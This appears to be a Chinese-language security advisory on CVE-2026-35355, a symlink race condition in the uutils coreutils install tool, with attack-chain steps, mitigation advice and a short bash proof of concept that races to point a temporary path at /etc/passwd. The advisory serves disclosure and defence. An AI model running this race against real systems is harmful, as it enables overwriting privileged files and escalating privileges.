IPBUF安全漏洞报告
English
CVE-2026-35355 CVSS 6.3 中危

CVE-2026-35355 uutils coreutils安装工具TOCTOU漏洞

披露日期: 2026-04-22

漏洞信息

漏洞编号
CVE-2026-35355
漏洞类型
TOCTOU竞争条件
CVSS评分
6.3 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
uutils coreutils

相关标签

TOCTOURace ConditionSymbolic Linkuutils coreutilsPrivilege EscalationLocal

漏洞概述

uutils coreutils中的install实用程序在文件安装过程中存在Time-of-Check to Time-of-Use (TOCTOU) 竞态条件漏洞。该实现先解除现有目标文件的链接,然后在不使用O_EXCL标志的情况下,基于路径重新创建文件。本地攻击者可利用解除链接与后续创建操作之间的时间窗口,将路径替换为符号链接,从而重定向特权写入操作以覆盖任意系统文件。

技术细节

该漏洞的核心在于install工具在处理文件安装时的非原子性操作。程序首先执行unlink()系统调用删除目标文件,随后执行open()或其他创建操作写入新文件。由于在创建新文件时未指定O_EXCL标志(该标志能确保如果文件已存在则创建失败),且这两个操作之间存在可被利用的时间差。攻击者可以通过并发运行恶意脚本,监测目标路径。一旦检测到unlink操作完成,攻击者立即在该路径创建一个指向敏感系统文件(如/etc/shadow或系统二进制文件)的符号链接。随后的创建操作将写入攻击者控制的数据,导致特权文件被篡改,可能实现权限提升或拒绝服务。

攻击链分析

STEP 1
步骤1
攻击者诱导或等待特权用户/进程执行受影响版本的uutils coreutils install工具,对特定路径进行文件安装操作。
STEP 2
步骤2
install工具执行unlink操作,删除目标路径下的现有文件。
STEP 3
步骤3
攻击者在unlink与后续创建操作之间的极短时间窗口内,将目标路径替换为指向敏感系统文件(如/etc/passwd)的符号链接。
STEP 4
步骤4
install工具继续执行,以当前特权权限向路径写入数据,实际内容被写入符号链接指向的敏感文件,导致系统完整性受损或权限提升。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # PoC for CVE-2026-35355: TOCTOU in uutils coreutils install # This script attempts to race with the install command to overwrite a privileged file. TARGET="/tmp/target_file" SYMLINK_TARGET="/etc/passwd" # File to overwrite while true; do # Check if the target file has been removed by the install utility if [ ! -e "$TARGET" ]; then # Create a symbolic link to the privileged file ln -s "$SYMLINK_TARGET" "$TARGET" echo "[+] Symlink created at $TARGET pointing to $SYMLINK_TARGET" fi done

影响范围

uutils coreutils < 0.6.0

防御指南

临时缓解措施
在修复补丁应用前,建议限制普通用户对install工具的执行权限,并避免在多用户竞争环境下使用受影响版本的install工具处理敏感路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表